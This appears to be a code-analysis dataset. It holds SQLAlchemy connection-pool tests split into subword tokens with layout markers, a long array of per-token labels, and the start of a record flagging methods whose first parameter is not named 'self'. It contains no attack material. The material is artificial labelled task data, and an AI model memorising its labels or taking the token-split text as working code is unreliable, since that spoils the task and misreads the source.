"release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "success_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "timeout_", "in_", "(_", "None_", ",_", "30_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "max", "\\u", "overflow", "_", "in_", "(_", "0_", ",_", "-_", "1_", ",_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "pool_", "._", "Queue", "Pool_", "(_", "creator_", "=_", "creator_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pool", "\\u", "size_", "=_", "2_", ",_", "timeout_", "=_", "timeout_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "overflow", "_", "=_", "max", "\\u", "overflow", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "waiter_", "(_", "p_", ",_", "timeout_", ",_", "max", "\\u", "overflow", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "success", "\\u", "key_", "=_", "(_", "timeout_", ",_", "max", "\\u", "overflow", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "._", "append_", "(_", "success", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", ".1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threads_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "t_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "waiter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "args_", "=_", "(_", "p_", ",_", "timeout_", ",_", "max", "\\u", "overflow", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "daemon_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threads_", "._", "append_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "sleep", " ", "make", "s", " ", "sure", " ", "tha", "t", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "two", " ", "waiter", " ", "thread", "s", " ", "hit", " ", "upo", "n", " ", "wait", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insi", "de", " ", "the", " ", "queue", ",", " ", "bef", "ore", " ", "we", " ", "invalidate", " ", "the", " ", "other_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "two", " ", "conns_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", ".2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "\\u", "invalidate", "_", "(_", "c2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "t_", "in_", "threads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "t_", "._", "join_", "(_", "join", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "eq\\u_", "(_", "len_", "(_", "success_", ")_", ",_", "12_", ",_", "\"", "successes", ":", " ", "%", "s", "\"_", "%_", "success_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mixed", "\\u", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pool_", "._", "\\u", "refs_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "self_", "._", "\\u", "queue", "pool", "\\u", "fixture_", "(_", "pool", "\\u", "size_", "=_", "3_", ",_", "max", "\\u", "overflow", "_", "=_", "-_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "thread", "local_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "c1_", "is_", "c2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "p_", "._", "checke", "dout", "_", "(_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "p_", "._", "checke", "dout", "_", "(_", ")_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lazy", "\\u", "gc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "not_", "pool_", "._", "\\u", "refs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "assert", "\\u", "clean", "up", "\\u", "on", "\\u", "pooled", "\\u", "reconnect_", "(_", "self_", ",_", "dbapi_", ",_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "p", " ", "is", " ", "Queue", "Poo", "l", " ", "with", " ", "size", "=", "1", ",", " ", "max", "\\u", "overflow", "=", "2", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "one", " ", "connecti", "on", " ", "in", " ", "the", " ", "pool", " ", "tha", "t", " ", "will", " ", "need", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reconnect", " ", "whe", "n", " ", "next", " ", "used", " ", "(", "eit", "her", " ", "due", " ", "to", " ", "recycl", "e", " ", "or", " ", "invalidate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "\\u", "no", "\\u", "wr", "\\u", "finalize_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eq\\u_", "(_", "p_", "._", "checke", "dout", "_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "\\u", "overflow", "_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbapi_", "._", "shutdown_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Exception_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "connect_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "\\u", "overflow", "_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "checke", "dout", "_", "(_", ")_", ",_", "0_", ")_", "#", " ", "and", " ", "not", " ", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dbapi_", "._", "shutdown_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "p_", "._", "\\u", "pool_", "._", "empty_", "(_", ")_", "#", " ", "pools", "ize", " ", "is", " ", "one", ",", " ", "so", " ", "we", "'", "re", " ", "empty", " ", "OK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "p_", "._", "\\u", "overflow", "_", ",_", "1_", ")_", "#", " ", "and", " ", "not", " ", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "hang", "s", " ", "if", " ", "p", ".\\u", "overflow", " ", "is", " ", "2_", "\\u\\u\\uNL\\u\\u\\u_", "c3_", "=_", "self_", "._", "\\u", "with", "\\u", "teardown_", "(_", "p_", "._", "connect_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "testing_", "._", "requires_", "._", "tim", "ing", "\\u", "inten", "sive", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "recycl", "e\\u", "pool", "\\u", "no", "\\u", "race_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "slow", "\\u", "close_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slow", "\\u", "clos", "ing", "\\u", "connection_", "._", "\\u", "slow", "\\u", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", ".5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "slow", "\\u", "clos", "ing", "\\u", "connection_", "=_", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slow", "\\u", "clos", "ing", "\\u", "connection_", "._", "connect_", "._", "return", "\\u", "value_", "._", "close_", "=_", "slow", "\\u", "close_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Error_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dialect_", "=_", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dialect_", "._", "is", "\\u", "disconnect_", "=_", "lambda_", "*_", "arg_", ",_", "**_", "kw_", ":_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dialect_", "._", "dbapi_", "._", "Error_", "=_", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pools_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Track", "Queue", "Pool_", "(_", "pool_", "._", "Queue", "Pool_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "arg_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pools_", "._", "append_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Track", "Queue", "Pool_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "arg_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "creator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "slow", "\\u", "clos", "ing", "\\u", "connection_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p1_", "=_", "Track", "Queue", "Pool_", "(_", "creator_", "=_", "creator_", ",_", "pool", "\\u", "size_", "=_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sqlalchemy_", "import_", "create", "\\u", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng_", "=_", "create", "\\u", "engine_", "(_", "testing_", "._", "db_", "._", "url_", ",_", "pool_", "=_", "p1_", ",_", "\\u", "initialize_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eng_", "._", "dialect_", "=_", "dialect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "15", " ", "total", " ", "connections_", "\\u\\u\\uNL\\u\\u\\u_", "conns_", "=_", "[_", "eng_", "._", "connect_", "(_", ")_", "for_", "i_", "in_", "range_", "(_", "15_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "8", " ", "back", " ", "to", " ", "the", " ", "pool_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "conn_", "in_", "conns_", "[_", "3_", ":_", "10_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "attempt_", "(_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "random_", "._", "random_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "._", "\\u", "handle", "\\u", "dbapi", "\\u", "exception_", "(_", "Error_", "(_", ")_", ",_", "\"", "statem", "ent", "\"_", ",_", "{_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Mock_", "(_", ")_", ",_", "Mock_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tsa", "_", "._", "exc_", "._", "DBA", "PIE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "run", " ", "an", " ", "error", " ", "+", " ", "invalidate", " ", "operati", "on", " ", "on", " ", "the", " ", "rema", "inin", "g", " ", "7", " ", "open_", "\\u\\u\\uNL\\u\\u\\u_", "#", "connections_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "threads_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "conn_", "in_", "conns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "attempt_", ",_", "args_", "=_", "(_", "conn_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threads_", "._", "append_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "t_", "in_", "threads_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "all", " ", "15", " ", "connections", " ", "to", " ", "the", " ", "pool_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "conn_", "in_", "conns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "re", "-", "open", " ", "15", " ", "total", " ", "connections_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "conns_", "=_", "[_", "eng_", "._", "connect_", "(_", ")_", "for_", "i_", "in_", "range_", "(_", "15_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "15", " ", "connections", " ", "have", " ", "bee", "n", " ", "full", "y", " ", "close", "d", " ", "due", " ", "to", " ", "invalidate", "_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "slow", "\\u", "clos", "ing", "\\u", "connection_", "._", "\\u", "slow", "\\u", "close_", "._", "call", "\\u", "count_", "==_", "15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "15", " ", "initial", " ", "connections", " ", "+", " ", "15", " ", "reconnect", "ions_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "slow", "\\u", "clos", "ing", "\\u", "connection_", "._", "connect_", "._", "call", "\\u", "count_", "==_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "pools_", ")_", "<=_", "2_", ",_", "len_", "(_", "pools_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "detach_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbapi_", ",_", "p_", "=_", "self_", "._", "\\u", "queue", "pool", "\\u", "dbapi", "\\u", "fixture_", "(_", "pool", "\\u", "size_", "=_", "1_", ",_", "max", "\\u", "overflow", "_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "detach_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "dbapi_", "._", "connect_", "._", "mock", "\\u", "calls_", ",_", "[_", "call_", "(_", "\"", "foo", ".", "db", "\"_", ")_", ",_", "call_", "(_", "\"", "foo", ".", "db", "\"_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1", "\\u", "con_", "=_", "c1_", "._", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "c1", "\\u", "con_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "c1", "\\u", "con_", "._", "close_", "._", "call", "\\u", "count_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq\\u_", "(_", "c1", "\\u", "con_", "._", "close_", "._", "call", "\\u", "count_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Assert", "ion", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "connect", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbapi_", "=_", "Moc", "k", "DBA", "PI_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pool_", "._", "Assert", "ion", "Pool_", "(_", "creator_", "=_", "lambda_", ":_", "dbapi_", "._", "connect_", "(_", "'", "foo", ".", "db", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "Assert", "ion", "Error_", ",_", "p_", "._", "connect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Assert", "ion", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connect", "\\u", "multiple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbapi_", "=_", "Moc", "k", "DBA", "PI_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pool_", "._", "Assert", "ion", "Pool_", "(_", "creator_", "=_", "lambda_", ":_", "dbapi_", "._", "connect_", "(_", "'", "foo", ".", "db", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c3_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "raises_", "(_", "Assert", "ion", "Error_", ",_", "p_", "._", "connect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Null", "Poo", "l", "Test_", "(_", "Poo", "l", "Test", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "reconnect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dbapi_", "=_", "Moc", "k", "DBA", "PI_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pool_", "._", "Null", "Pool_", "(_", "creator_", "=_", "lambda_", ":_", "dbapi_", "._", "connect_", "(_", "'", "foo", ".", "db", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "._", "invalidate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c1_", "=_", "p_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbapi_", "._", "connect_", "._", "assert", "\\u", "has", "\\u", "calls_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "call_", "(_", "'", "foo", ".", "db", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "call_", "(_", "'", "foo", ".", "db", "'_", ")_", "]_", ",_", "\\u\\u\\uNL\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
correl/Transmission-XBMC/resources/lib/basictypes/pythoninterfaces.py
[ { "content": "\tdef __contains__( other ):\n\t\t\"\"\"Determine whether object contains other\"\"\"", "metadata": "root.IObjectContains.__contains__", "header": "['class', 'IObjectContains', '(', 'Interface', ')', ':', '___EOS___']", "index": 19 }, { "content": "\tdef __eq__( other ):\n\t\t\"\"\"Determine whether object == other\"\"\"", "metadata": "root.IObjectEq.__eq__", "header": "['class', 'IObjectEq', '(', 'Interface', ')', ':', '___EOS___']", "index": 27 }, { "content": "\tdef __ne__( other ):\n\t\t\"\"\"Determine whether object != other\"\"\"", "metadata": "root.IObjectNe.__ne__", "header": "['class', 'IObjectNe', '(', 'Interface', ')', ':', '___EOS___']", "index": 34 }, { "content": "\tdef __getitem__( key ):\n\t\t\"\"\"Get sub-item by key or index\"\"\"", "metadata": "root.IObjectGetItem.__getitem__", "header": "['class', 'IObjectGetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 53 }, { "content": "\tdef __setitem__( key, other ):\n\t\t\"\"\"Set sub-item by key or index\"\"\"", "metadata": "root.IObjectSetItem.__setitem__", "header": "['class', 'IObjectSetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 57 }, { "content": "\tdef 